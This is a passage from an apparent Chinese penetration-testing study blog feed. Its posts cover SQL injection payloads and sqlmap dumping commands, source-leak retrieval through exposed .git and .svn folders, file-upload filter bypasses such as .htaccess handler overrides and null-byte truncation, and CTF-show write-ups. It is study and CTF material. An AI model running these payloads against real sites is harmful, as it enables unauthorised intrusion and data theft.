number">31</span><span class="token punctuation">:</span><span class="token number">32</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">:</span> <span class="token keyword">print</span><span class="token punctuation">(</span>t<span class="token punctuation">)</span></code></pre><p><code>hashlib</code>是涉及安全散列和消息摘要,提供不同的加密算法接口,<code>如MD5、SHA1、SHA224</code>等</p><p><code>digest()</code>返回摘要,作为二进制数据字符串值</p><p><code>hexdigest()</code>返回摘要,作为十六进制数据字符串值</p><p>传递运行出的token即可</p><p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203291028979.png" alt="URL"></p>]]></content>
<categories>
<category> CTF-show </category>
</categories>
<tags>
<tag> 爆破 </tag>
</tags>
</entry>
<entry>
<title>SQL注入总结</title>
<link href="/2022/03/25/SQL%E6%B3%A8%E5%85%A5%E6%80%BB%E7%BB%93/"/>
<url>/2022/03/25/SQL%E6%B3%A8%E5%85%A5%E6%80%BB%E7%BB%93/</url>
<content type="html"><![CDATA[<h4 id="1、工具"><a href="#1、工具" class="headerlink" title="1、工具"></a>1、工具</h4><p>手工注入、sqlmap、脚本、burpsuit爆破</p><h4 id="2、注入思路"><a href="#2、注入思路" class="headerlink" title="2、注入思路"></a>2、注入思路</h4><p>注入点判断->注入类型判断->联合注入->报错注入->布尔盲注->时间盲注</p><p>盲注:数据库长度->数据库ASCII->表的个数->(第一个)表名的ASCII(limit)->列名的长度(limit)->列名的ASCII->此列下的字段个数->(第一个)字段的长度 ->(第一个)字段的ASCII</p><h4 id="3、SQL注入点判断"><a href="#3、SQL注入点判断" class="headerlink" title="3、SQL注入点判断"></a>3、SQL注入点判断</h4><pre><code>$id=$_GET['id'];$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";</code></pre><p>(1)基本:</p><p>单引号判断<code>1'</code></p><p>不管是字符型还是数字型,输入单引号后都会因为单引号不匹配而报错,如果存在注入点的话就会返回一个不同的页面或者报错</p><p>(1)数字型</p><p>由上面的语句我们可以看到对于数字型是不存在引号的</p><pre><code>1 and 1=1 :正常返回1 and 1=2 :错误返回或其他页面存在数字型注入</code></pre><p>(2)字符型</p><p>由上面的语句可以看到字符型是有引号包裹的</p><pre><code>1 and 1=1 :正常返回1 and 1=2 :正常返回1' and '1'='1 :正常返回1' and '1'='2 :错误返回或其他页面存在字符型</code></pre><h4 id="4、联合查询"><a href="#4、联合查询" class="headerlink" title="4、联合查询"></a>4、联合查询</h4><p>(1)字段个数</p><p><code>id = 1 order by 1</code>直到错误回显</p><p>union是将两个查询结果合并,程序通常会展示结果的第一行,因此若左边报错右边正确的话,返回的第一行就输出的是我们需要的查询语句。</p><p>(2)显位判断</p><p><code>id = -1 union select 1,2,3</code></p><p>(3)跨库查询</p><p><code>union select</code> </p><h4 id="5、报错盲注"><a href="#5、报错盲注" class="headerlink" title="5、报错盲注"></a>5、报错盲注</h4><p>(1)<code>floor(rand(0)*2)</code>and<code>group by</code></p><pre><code>union select 1,count(*),concat((playload),floor(rand(0)*2)) x from information_schema.columns group by xunion select 1 from (select count(*),concat((playload limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a</code></pre><p>对于表和列需要用limit n,1限制查询结果列数,进行第一个,第二个的查询</p><p>(2)<code>updatexml()</code></p><p><code>?id=1 and updatexml(1,concat(0x7e,(playload),0x7e),1)</code></p><p>(3)<code>extratvalue()</code></p><p><code>?id=1 and extractvalue(1,concat(0x7e,(playload),0x7e),1)</code></p><h4 id="6、布尔盲注"><a href="#6、布尔盲注" class="headerlink" title="6、布尔盲注"></a>6、布尔盲注</h4><pre><code>and length()>n //长度判断and ascii(substr((playload),n,1))>n //ascii判断</code></pre><h4 id="7、时间盲注"><a href="#7、时间盲注" class="headerlink" title="7、时间盲注"></a>7、时间盲注</h4><pre><code>and if((playload),sleep(n),0)</code></pre><h4 id="8、sqlmap"><a href="#8、sqlmap" class="headerlink" title="8、sqlmap"></a>8、sqlmap</h4><p>一般将数据包复制下来,将注入点用<code>*</code>标识</p><p><code>GET /api/v4.php?id=1*&page=1&limit=10 HTTP/1.1</code></p><pre><code>python sqlmap.py -r 文件路径 --dbs //数据库名python sqlmap.py -r 文件路径 -D 数据库名 --tables //表名python sqlmap.py -r 文件路径 -D 数据库名 -T 表名 --columns//列名python sqlmap.py -r 文件路径 -D 数据库名 -T 表名 --dump "列名"//获取字段内容</code></pre>]]></content>
<categories>
<category> SQL注入 </category>
</categories>
<tags>
<tag> SQL注入 </tag>
</tags>
</entry>
<entry>
<title>web敏感文件泄露</title>
<link href="/2022/03/24/web%E6%95%8F%E6%84%9F%E6%96%87%E4%BB%B6%E6%B3%84%E9%9C%B2/"/>
<url>/2022/03/24/web%E6%95%8F%E6%84%9F%E6%96%87%E4%BB%B6%E6%B3%84%E9%9C%B2/</url>
<content type="html"><![CDATA[<p>From:</p><p><a href="https://www.cnblogs.com/xiaozi/p/12397114.html">https://www.cnblogs.com/xiaozi/p/12397114.html</a></p><p><a href="https://www.cnblogs.com/pannengzhi/p/2017-09-23-web-file-disclosure.html">https://www.cnblogs.com/pannengzhi/p/2017-09-23-web-file-disclosure.html</a></p><h3 id="1、版本管理软件造成的泄露"><a href="#1、版本管理软件造成的泄露" class="headerlink" title="1、版本管理软件造成的泄露"></a>1、版本管理软件造成的泄露</h3><p><strong>(1)Git</strong></p><p>关键文件</p><p>git在初始化项目的时候, 会在项目的根目录(可用<code>git rev-parse --show-toplevel</code>查看)创建一个名为<code>.git</code>的隐藏文件夹, 里面包含了本地所有commit的历史记录. 如果无意间将这个目录置于WEB的路径下让用户可以访问,<br>那么也就泄露了几乎所有的源代码和其他其他敏感信息.</p><p>泄露内容</p><p>该项目的所有源代码,私有仓库地址,私密配置信息等</p><p>利用方法</p><p>下载整个目录,用git命令回滚整个项目:</p><pre><code>wget -r --no-parent --mirror http://www.example.com/.gitcd www.example.com && git reset --hard</code></pre><p>自动化利用脚本:<a href="https://github.com/lijiejie/GitHack">https://github.com/lijiejie/GitHack</a></p><p><code>GitHack.py http://www.openssl.org/.git/</code></p><p><strong>(2)hg/Mercurial</strong></p><p>用法与git相似,但也保留了svn命令简明的特点,且支持Windows/MacOS/Linux三大平台, 不像git需要MinGW才得以运行</p><p>关键文件</p><p>在初始化项目时,在项目根目录下创建一个名为<code>.hg</code>的隐藏文件,其中包含了代码和分支的修改记录和开发人员的相关信息</p><p>泄露文件</p><p>项目源代码、项目仓库地址、(可能)仓库用户名</p><p>利用方法</p><p>下载+回滚</p><pre><code>wget -r --no-parent --mirror http://www.example.com/.hgcd www.example.com && hg revert</code></pre><p><strong>(3)SVN/Subversion</strong></p><p>关键文件</p><p>项目的根目录下会创建一个名为<code>.svn</code>的隐藏文件,包含了所有分支commit信息和代码记录</p><p>泄露文件</p><p>项目的源代码、svn仓库地址、svn仓库所属用户的用户名</p><p>利用方法</p><p>下载+回滚:</p><pre><code>wget -r --no-parent --mirror http://www.example.com/.svncd www.example.com && svn revert --recursive .</code></pre><p>工具:dvcs-ripper</p><p><strong>(4)bzr/Bazaar</strong></p><p>多平台支持,且有图形界面</p><p>关键文件</p><p>初始化项目时(bzr init/init-repo),根目录产生<code>.bzr</code>的隐藏目录,暴露了源代码和用户信息</p><p>泄露信息</p><p>源代码、仓库地址、开发者信息</p><p>利用方法</p><pre><code>wget -r --no-parent --mirror http://www.example.com/.bzrcd www.example.com && bzr revert</code></pre><p>工具:dvcs-ripper</p><p><strong>(5)CVS</strong></p><p>年代比较久远的版本控制系统,通过它可以追踪源代码的历史变化记录。但因为功能简单,且不支持分支,被svn替代</p><p>关键文件</p><p>项目在初始化(cvs checkout project)的时候, 会在project目录下创建一个名为CVS的目录</p><p>其中保存了各个文件的修改和commit记录. 通过此目录可以获取代码的历史版本。其中两个关键文件为:</p><p><code>CVS/Root</code>和<code>CVS/Entries</code>, 分别记录了项目的根信息和所有文件的结构</p><p>利用方法</p><p>下载+CVS命令</p><pre><code>wget -r --no-parent --mirror http://www.example.com/CVScd www.example.com && cvs diff *</code></pre><p>工具:dvcs-ripper</p><h3 id="2、文件包含导致的泄露(配置不当)"><a href="#2、文件包含导致的泄露(配置不当)" class="headerlink" title="2、文件包含导致的泄露(配置不当)"></a>2、文件包含导致的泄露(配置不当)</h3><p><strong>(1)<code>.DS_Store</code>文件泄露</strong></p><p><code>.DS_Store</code>是macOS目录下的隐藏文件,包含了当前目录结构和一些的自定义信息,如背景和图标位置等</p><p>在windows下类似的文件为<code>desktop.ini</code>暴露了<code>.DS_Store</code>文件也就相当于暴露了该目录下的所有内容。</p><p>利用方法</p><p><code>.DS_Store</code>的格式为二进制,内部数据结构为Proprietary格式,可以自行解析并递归下载所有文件</p><p><strong>(2)web-INF泄露</strong></p><p>web-INF目录包含了所有web应用会用到但是不处于web路径中的资源,web应用可以通过<code>getResource</code>等API在servlet的上下文中访问到这些资源。</p><p>通常开发者会把许多JSP文件、Jar包、Java的类文件放在该目录下。</p><pre><code>WEB-INF/web.xml : Web应用程序配置文件, 描述了servlet和其他的应用组件配置及命名规则.WEB-INF/database.properties : 数据库配置文件WEB-INF/classes/ : 一般用来存放Java类文件(.class)WEB-INF/lib/ : 用来存放打包好的库(.jar)WEB-INF/src/ : 用来放源代码(.asp和.php等)</code></pre><p>利用方法</p><p>通过web.xml文件推测应用组件相关类的名字,然后在src目录下查找代码,如果没有源代码可以直接下载class文件反编译即可。</p><h3 id="3、备份文件泄露"><a href="#3、备份文件泄露" class="headerlink" title="3、备份文件泄露"></a>3、备份文件泄露</h3><p><strong>(1)网站根目录下的网站备份文件</strong></p><pre><code>.rar.zip.7z.tar.gz.bak.txt.old.temp</code></pre><p><code>tar -czvf bakup.tgz *</code></p><p>可被用户打包下载(常用文件名)+(常用压缩包后缀)</p><p><strong>(2)编辑器修改文件的自动备份文件</strong></p><p>SWP文件:<code>.filename.swp</code> </p><p>利用方法:直接访问<code>.swp</code>文件,下载后删去<code>.swp</code>获得源码文件</p><p>VIM缓存:<code>index.php.swp</code></p><p>第一次产生的交换文件名为<code>.filename.txt.swp</code>;再次意外退出后,将会产生名为<code>.filename.txt.swo</code>的交换文件;第三次产生的交换文件<code>.filename.txt.swn</code></p><h3 id="4、配置文件泄露"><a href="#4、配置文件泄露" class="headerlink" title="4、配置文件泄露"></a>4、配置文件泄露</h3><p>可以通过网站框架文档获得重要配置文件路径</p><p>利用方法</p><p>识别网站指纹(框架类型)+重要配置文件测试(字典)</p><h3 id="5、配置错误导致的泄露"><a href="#5、配置错误导致的泄露" class="headerlink" title="5、配置错误导致的泄露"></a>5、配置错误导致的泄露</h3><p><strong>(1)Windows IIS / Apache 目录穿越</strong></p><p>程序在实现上没有充分过滤用户输入的../之类的目录跳转符,导致恶意用户可以访问web根目录的上级从而遍历服务器上的任意文件。</p><p>虽然web服务器本身会禁止访问web文件夹以外的地方,但如果开发引入的动态页面,又没有过滤好用户输入,就可能会出现穿越甚至目录遍历。甚至web服务器本身也曾经有类似的漏洞。</p><p>利用方法</p><p><a href="https://zhuanlan.zhihu.com/p/21516413">https://zhuanlan.zhihu.com/p/21516413</a></p><p><strong>(2)Nginx配置安全</strong></p><p><a href="https://www.leavesongs.com/PENETRATION/nginx-insecure-configuration.html">https://www.leavesongs.com/PENETRATION/nginx-insecure-configuration.html</a></p>]]></content>
<categories>
<category> 小迪渗透 </category>
</categories>
<tags>
<tag> 敏感文件 </tag>
</tags>
</entry>
<entry>
<title>文件上传(1)</title>
<link href="/2022/03/23/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%EF%BC%881%EF%BC%89/"/>
<url>/2022/03/23/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%EF%BC%881%EF%BC%89/</url>
<content type="html"><![CDATA[<h3 id="1、概述"><a href="#1、概述" class="headerlink" title="1、概述"></a>1、概述</h3><p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203241432302.png" alt="基本框架"></p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203231609231.png" alt="分类" style="zoom:67%;" /><p>(1)什么是文件上传漏洞?</p><p>程序对文件的上传未作全面的限制,导致用户可以上传一些超越用户权限的文件,可以是木马,shell脚本,病毒等。</p><p>(2)危害</p><p>可以成为网站后门webshell获取权限</p><p>(3)漏洞的查找和判断</p><p>黑盒查找:扫描敏感文件获取上传地址;功能点测试;后台处的文件上传(后台权限不等于网站权限)</p><p> 白盒查找:拿到网页源码后,通过代码分析是否有文件上传漏洞</p><p>判断:抓包或测试</p><p>注:文件上传类型的分析</p><h3 id="2、常规文件上传地址获取"><a href="#2、常规文件上传地址获取" class="headerlink" title="2、常规文件上传地址获取"></a>2、常规文件上传地址获取</h3><p>扫描网站敏感文件</p><p>工具:wwwscan、御剑、AWVS</p><p>搜索网站关键词<code>site: URL upload</code></p><h3 id="3、文件上传基础"><a href="#3、文件上传基础" class="headerlink" title="3、文件上传基础"></a>3、文件上传基础</h3><p>(1)上传文件的格式不能混用,如果要求上传php文件,则一般不上传图片,因为要执行的话,要按照对应代码执行,除非有解析漏洞(搭建平台)</p><p>(2)文件上传的绕过:</p><p>抓包修改文件后缀(如果采用的全为js代码,在本地执行,没有用php接收可能抓不到包);</p><p>修改前端代码(对文件格式的过滤代码,因为将前端代码本地保存,所以最后需要添加action访问到图片对应上传的地址)</p><p>知道网站的CMS可以直接搜索XXXCMS上传漏洞,这种第三方插件的漏洞测试与常规不一样</p><p>(3)文件上传验证:</p><ul><li>后缀名:类型,文件头等</li></ul><ul><li>后缀名:黑名单,白名单</li></ul><p>黑名单:明确不让上传的格式后缀(<code>asp php jsp aspx cgi war</code>)</p><p>白名单:明确可以上传的格式后缀(<code>jpg png zip rar gif</code>)</p><ul><li>文件类型:MIME信息</li></ul><p>媒体类型,用来表示文档、文件或字节流的性质和格式。</p><p>由类型/子类型组成(无空格,一般是小写,不敏感)</p><p><code>text image audio:音频 video:视频 application:二进制</code></p><p>burpsuit:<code>Content-Type:image/jpeg</code></p><ul><li>文件头:内容头信息</li></ul><p>方法:查看源码,抓包修改信息</p><p>(5)常用函数</p><ul><li><code>_FILES</code>函数</li></ul><pre><code>$_FILES['myFile']['name'] :文件的原名称$_FILES['myFile']['type'] :文件的MIME 类型$_FILES['myFile']['size'] :已上传文件的大小,单位为字节$_FILES['myFile']['tmp_name'] :文件被上传后在服务端储存的临时文件 名,一般是系统默认$_FILES['myFile']['error'] :该文件上传相关的错误代码</code></pre><p>实例:<code>$_FILES['upload_file'] name="upload_file"</code>相同才能上传</p><pre class=" language-php"><code class="language-php"><span class="token delimiter"><?php</span><span class="token variable">$name</span><span class="token operator">=</span><span class="token variable">$_FILES</span><span class="token punctuation">[</span><span class="token string">'upload_file'</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'name'</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">echo</span> <span class="token variable">$name</span><span class="token punctuation">;</span><span class="token delimiter">?></span><span class="token markup"><span class="token tag"><span class="token tag"><span class="token punctuation"><</span>form</span> <span class="token attr-name">enctype</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>xxxx<span class="token punctuation">"</span></span> <span class="token attr-name">method</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>post<span class="token punctuation">"</span></span> <span class="token attr-name">action</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span><span class="token punctuation">"</span></span><span class="token punctuation">></span></span></span><span class="token markup"><span class="token tag"><span class="token tag"><span class="token punctuation"><</span>p</span><span class="token punctuation">></span></span></span>上传图片:<span class="token markup"><span class="token tag"><span class="token tag"><span class="token punctuation"></</span>p</span><span class="token punctuation">></span></span></span><span class="token markup"><span class="token tag"><span class="token tag"><span class="token punctuation"><</span>input</span> <span class="token attr-name">class</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>input_file<span class="token punctuation">"</span></span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>file<span class="token punctuation">"</span></span> <span class="token attr-name">name</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>upload_file<span class="token punctuation">"</span></span><span class="token punctuation">/></span></span></span><span class="token markup"><span class="token tag"><span class="token tag"><span class="token punctuation"><</span>input</span> <span class="token attr-name">class</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>button<span class="token punctuation">"</span></span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>submit<span class="token punctuation">"</span></span> <span class="token attr-name">name</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>submit<span class="token punctuation">"</span></span> <span class="token attr-name">value</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>上传<span class="token punctuation">"</span></span><span class="token punctuation">/></span></span></span><span class="token markup"><span class="token tag"><span class="token tag"><span class="token punctuation"></</span>form</span><span class="token punctuation">></span></span></span></code></pre><ul><li><code>trim()</code>函数</li></ul><p>移除字符串两侧的空白字符或其他预定义字符</p><ul><li><code>strrchr()</code>函数</li></ul><p>查找字符串在另一个字符串中最后出现的位置,并返回从该位置到字符串结尾的所有字符</p><pre class=" language-php"><code class="language-php"><span class="token delimiter"><?php</span> <span class="token keyword">echo</span> <span class="token function">strrchr</span><span class="token punctuation">(</span><span class="token string">"hello world! what a beautiful day!"</span><span class="token punctuation">,</span>what<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token delimiter">?></span>what a beautiful day<span class="token operator">!</span></code></pre><h3 id="4、黑名单绕过"><a href="#4、黑名单绕过" class="headerlink" title="4、黑名单绕过"></a>4、黑名单绕过</h3><p>(1)<code>::$DATA</code>:不检测文件后缀</p><p>针对Windows上的PHP源文件,若文件名+<code>::$DATA</code>后,会把<code>::$DATA</code>后的数据当做文件流处理,不会检测文件后缀且保持原文件名</p><p><code>1.php::$DATA</code></p><p>(2)<code>.htaccess</code>文件解析漏洞</p><p>From:<a href="https://blog.csdn.net/weixin_44032232/article/details/108998564">https://blog.csdn.net/weixin_44032232/article/details/108998564</a></p><ul><li>环境:</li></ul><p>服务器没有禁止此文件的上传,且服务商允许用户自定义此文件</p><ul><li>原理:</li></ul><p>.htaccess文件(或者”分布式配置文件”)提供了针对目录改变配置的方法:在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。</p><ul><li>.htaccess文件内容:</li></ul><p>第一种:好用,但容易误伤其他正常文件,易被发现</p><pre><code><IfModule mime_module>AddHandler php5-script .gif #在当前目录下,只针对gif文 件会解析成Php代码执行SetHandler application/x-httpd-php #在当前目录下,所有文件都会 被解析成php代码执行AddType application/x-httpd-php .gif</IfModule></code></pre><p>第二种:精确控制能被解析成PHP代码的文件,不易被发现</p><pre><code><FilesMatch "evil.gif">SetHandler application/x-httpd-php #在当前目录下,如果匹配到 evil.gif文件,则被解析成PHP代码执行AddHandler php5-script .gif #在当前目录下,如果匹配到 evil.gif文件,则被解析成PHP代码执行</FilesMatch></code></pre><ul><li>漏洞利用</li></ul><p>将准备好的.htaccess(文件名为此)文件上传,再上传木马即可</p><p>若.htaccess上传后被重命名则无法利用此漏洞</p><p>(3)空格或点</p><p><code>deldot($file_name) 删除文件名末尾的点</code></p><p><code>trim($file_ext) 收尾去空</code></p><p>当在源码中没有这些过滤,我们可以尝试在数据包中文件名+空格/点,再发送数据包进行绕过</p><p>(4)MIME信息</p><p>修改数据包中MIME的文件格式信息,再发送数据包即可</p><p>(5)过滤</p><pre><code>一次过滤a.php--a.a.pphphp--a.php循环过滤a.php--a.a.pphphp--a.</code></pre><h3 id="5、白名单绕过"><a href="#5、白名单绕过" class="headerlink" title="5、白名单绕过"></a>5、白名单绕过</h3><p>(1)函数</p><p><code>strrpos(string,find,start)</code>:查找字符串在另一字符串最后一次出现的位置</p><p>start(可选),规定在何处开始搜索;区分大小写</p><p>(2)MIME信息绕过</p><p>(3)00截断</p><p><code>%00,0x00,/00,\0</code></p><p>From:<a href="https://blog.csdn.net/weixin_44840696/article/details/90581104">https://blog.csdn.net/weixin_44840696/article/details/90581104</a></p><ul><li>环境:</li></ul><p>PHP版本小于5.3.4</p><p>magic_quotes_gpc = Off</p><ul><li>原理</li></ul><p>截断的是路径</p><p>无论0x00还是%00,最终被解析后都是一个东西:chr(0),对应的就是NUT字符(NULL),也就是空字符。</p><p><strong>当一个字符串中存在空字符(不是空格)的时候,在被解析的时候会导致空字符后面的字符被丢弃</strong>。</p><ul><li>漏洞利用</li></ul><p><strong>前端:</strong></p><p>在文件名中插入空字符</p><p>用Burp抓包后,在文件名插入一个空格,然后再HEX中找到空格对应的16进制编码“20”,把它改成00</p><p><code>1.php.0x00.jpg--1.php</code></p><p><strong>后端:</strong></p><p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203302131856.png" alt="后端代码"></p><p>上传条件:</p><p>后缀检测,合格则进行上传路径拼接</p><p>拼接路径和文件名,组成文件上传路径</p><p>文件路径可控:</p><p>比如可以修改路径拼接的path,抓的数据包存在<code>path: uploads/</code>就可以直接把路径构造成<code>uploads/xxx.php%00</code></p><ul><li>区别</li></ul><p><code>0x00</code>:代表16进制的空字符00,需要在HEX中改为00,进行截断</p><p><code>%00</code>:URL解码之前的字符,可以用在URL中如<code>xx.php?filename=test.php%00.txt</code>,也可以直接插在Burp包中的路径中,如<code>path=shell.jsp%00.txt</code></p><p>POST因为不会自动解码(GET会自动解码),所以需要将%00进行URL编码</p>]]></content>
<categories>
<category> 小迪渗透 </category>
</categories>
<tags>
<tag> 文件上传 </tag>
</tags>
</entry>
<entry>
<title>web-SQL注入(6)</title>
<link href="/2022/03/23/web-SQL%E6%B3%A8%E5%85%A5%EF%BC%886%EF%BC%89/"/>
<url>/2022/03/23/web-SQL%E6%B3%A8%E5%85%A5%EF%BC%886%EF%BC%89/</url>
<content type="html"><![CDATA[<h3 id="1、快捷方式的建立"><a href="#1、快捷方式的建立" class="headerlink" title="1、快捷方式的建立"></a>1、快捷方式的建立</h3><p>From:<a href="https://blog.csdn.net/oxygensss/article/details/110311403">https://blog.csdn.net/oxygensss/article/details/110311403</a></p><p><code>python sqlmap.py</code></p><h3 id="2、常用命令"><a href="#2、常用命令" class="headerlink" title="2、常用命令"></a>2、常用命令</h3><p>From:</p><p><a href="https://blog.csdn.net/smli_ng/article/details/106026901">https://blog.csdn.net/smli_ng/article/details/106026901</a></p><p><a href="https://blog.csdn.net/xmd213131/article/details/105919380">https://blog.csdn.net/xmd213131/article/details/105919380</a></p><p><a href="http://config.net.cn/producttest/3f96a311-9b37-43bc-83a6-4ca6565c3ffb-p1.html">http://config.net.cn/producttest/3f96a311-9b37-43bc-83a6-4ca6565c3ffb-p1.html</a></p><pre><code>sqlmap -u url --users :查看数据库所有用户 //cmd中命令用法: python sqlmap.py -u "http://site.com/login?u=test&p=123456"sqlmap -u url --passwords :查看数据库所有用户密码sqlmap -u url :判断注入点sqlmap -u url --current-dbs :查看当前所有数据库sqlmap -u url --current-user :查看数据库当前的用户sqlmap -u url --is-dba :判断当前用户是否有管理员权限sqlmap -u url --roles :列出数据库所有管理员角色sqlmap -u url --current-db :查看当前数据库sqlmap -u url -D 库名 --tables :爆表sqlmap -u url -D 库名 -T 表明 --columns :爆字段sqlmap -u url -D 库名 -T 表明 --C 字段名1,字段名2 --dump :爆数据sqlmap -u url -D 库名 --dump-all :爆出数据库中所有数据</code></pre><p>(1)get方法</p><p>URL后需要带参数</p><p><strong>注入点判断</strong></p><p><code>-u url</code></p><p><strong>爆出数据库名</strong></p><p><code>-u url --dbs</code></p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203231533675.png" alt="数据库名" style="zoom:67%;" /><p><strong>爆出数据库的表名</strong></p><p><code>-u url -D 数据库 --tables</code></p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203231535376.png" alt="表名" style="zoom:67%;" /><p><strong>爆出数据库的列名</strong></p><p><code>-u url -D 数据库 -T 表名 --columns</code></p><p><strong>得到列中的数据</strong></p><p><code>-u -D 数据库 -T 表名 -C 列名 --dump</code></p><p>(2)post方法</p><p>需要用<code>--data=参数</code></p><p> <code>-u URL --data="id=1"</code></p><p><strong>使用burp抓包,请求内容保存在txt文件中</strong></p><p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203231548284.png" alt="过程"></p><p><strong>检测是否存在注入点</strong></p><p> <code>-r 文档位置</code></p><p><strong>爆库名</strong></p><p><code>-r 文档位置 --dbs</code></p><p>(3)cookies注入</p><p>默认情况下SQLMAP只支持GET/POST参数的注入测试,</p><p>–level参数且数值>=2的时候检查cookie里面的参数,</p><p>大于等于3时检查User-agent和Referer。</p><p>可以通过burpsuite等工具获取当前的cookie值,然后进行注入:</p><pre><code>sqlmap.py -u "http://site.com/base.PHP"–cookies "id=1" –dbs –level 2sqlmap.py -u 注入点URL --cookie"id=xx" --level 3sqlmap.py -u url --cookie "id=xx"--level 3 --tables(猜表名)sqlmap.py -u url --cookie "id=xx"--level 3 -T 表名 --coiumnssqlmap.py -u url --cookie "id=xx"--level 3 -T 表名 -C username,password --dump</code></pre><p>(4)延时注入</p><pre><code>sqlmap –dbs -u"url" –delay 0.5 :延时0.5秒sqlmap –dbs -u"url" –safe-freq :请求2次</code></pre><p>(5)指定注入点</p><p>在指定注入的位置后加上<code>*</code></p>]]></content>
<categories>
<category> 小迪渗透 </category>
</categories>
<tags>
<tag> SQL注入 </tag>
</tags>
</entry>
<entry>
<title>CTF-show-MISC入门-1</title>
<link href="/2022/03/22/CTF-show-MISC%E5%85%A5%E9%97%A8-1/"/>
<url>/2022/03/22/CTF-show-MISC%E5%85%A5%E9%97%A8-1/</url>
<content type="html"><![CDATA[<p>From:<a href="https://blog.csdn.net/weixin_45696568/article/details/115261347">https://blog.csdn.net/weixin_45696568/article/details/115261347</a></p><h3 id="1、MISC-1"><a href="#1、MISC-1" class="headerlink" title="1、MISC 1"></a>1、MISC 1</h3><p>打开压缩包即可看到flag</p><p>提取图片文字(图片应与py文件放在一个文件下)</p><pre class=" language-python"><code class="language-python"><span class="token keyword">from</span> PIL <span class="token keyword">import</span> Image<span class="token keyword">import</span> pytesseractpytesseract<span class="token punctuation">.</span>pytesseract<span class="token punctuation">.</span>tesseract_cmd <span class="token operator">=</span> <span class="token string">'D:\\Tesseract\\tesseract.exe'</span>tessdata_dir_config <span class="token operator">=</span> <span class="token string">'--tessdata-dir "D:\\Tesseract\\tessdata"'</span>im <span class="token operator">=</span> Image<span class="token punctuation">.</span>open<span class="token punctuation">(</span><span class="token string">"misc1.png"</span><span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span>pytesseract<span class="token punctuation">.</span>image_to_string<span class="token punctuation">(</span>im<span class="token punctuation">,</span>lang<span class="token operator">=</span><span class="token string">'eng'</span><span class="token punctuation">,</span>config<span class="token operator">=</span>tessdata_dir_config<span class="token punctuation">)</span><span class="token punctuation">)</span></code></pre><h3 id="2、MISC-2"><a href="#2、MISC-2" class="headerlink" title="2、MISC 2"></a>2、MISC 2</h3><p>修改文件后缀</p><h3 id="3、MISC-3"><a href="#3、MISC-3" class="headerlink" title="3、MISC 3"></a>3、MISC 3</h3><p>From:<a href="https://blog.csdn.net/CT_WJ/article/details/97812299">https://blog.csdn.net/CT_WJ/article/details/97812299</a></p><p>BPG是一种新的图像格式。其目的是在质量或文件大小成问题时替换JPEG图像格式。 </p><p>压缩比高。 对于类似的质量,文件比JPEG小得多。</p><p>大多数Web浏览器都支持小型Javascript解码器(gzip压缩大小:56 KB)。</p><p>支持与JPEG(灰度,YCbCr 4:2:0,4:2:2,4:4:4)相同的色度格式,以减少转换过程中的损耗。 支持Alpha通道。 还支持RGB,YCgCo和CMYK颜色空间。</p><p>本机支持每通道8至14位,以获得更高的动态范围。</p><p>支持无损压缩。可以包括各种元数据(例如EXIF,ICC配置文件,XMP)。动画支持。</p><pre><code>bpgview.exe misc3.bpg 查看图片bpgdec -o output.jpg misc3.bpg 它输出PNG或PPM图像</code></pre><h3 id="4、MISC4"><a href="#4、MISC4" class="headerlink" title="4、MISC4"></a>4、MISC4</h3><p>将6个文件后缀修改为png即可</p><h3 id="5、MISC5"><a href="#5、MISC5" class="headerlink" title="5、MISC5"></a>5、MISC5</h3>]]></content>
<categories>
<category> CTF-show </category>
</categories>
<tags>
<tag> MISC </tag>
</tags>
</entry>
<entry>
<title>CTF-show:sqli-libs(1)</title>
<link href="/2022/03/19/CTF-show-sqli-libs%EF%BC%881%EF%BC%89/"/>
<url>/2022/03/19/CTF-show-sqli-libs%EF%BC%881%EF%BC%89/</url>
<content type="html"><![CDATA[<p>From:<a href="https://blog.csdn.net/ZXT2804567059/article/details/120145182">https://blog.csdn.net/ZXT2804567059/article/details/120145182</a></p><h3 id="1、web517"><a href="#1、web517" class="headerlink" title="1、web517"></a>1、web517</h3><p>字符型注入-联合查询</p><p>(1)注入字符判断</p><p>提示是字符型,猜测是否为单引号</p><p><code>?id=1' and 1=1 --+</code>正常回显,判断为单引号字符注入</p><p>(2)字段判断</p><p><code>?id=-1' order by 4 --+</code>在字段为4时出现报错,于是知道有3个字段</p><p>(3)联合查询</p><p>回显判断:2,3字段</p><p><code>?id=-1' union select 1,2,3--+</code></p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203191149492.png" alt="回显" style="zoom:50%;" /><p>用户,所在数据库</p><p><code>?id=-1' union select 1,user(),database()--+</code></p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203191150703.png" alt="root权限" style="zoom:67%;" /><p>查询所有数据库</p><p><code>?id=-1' 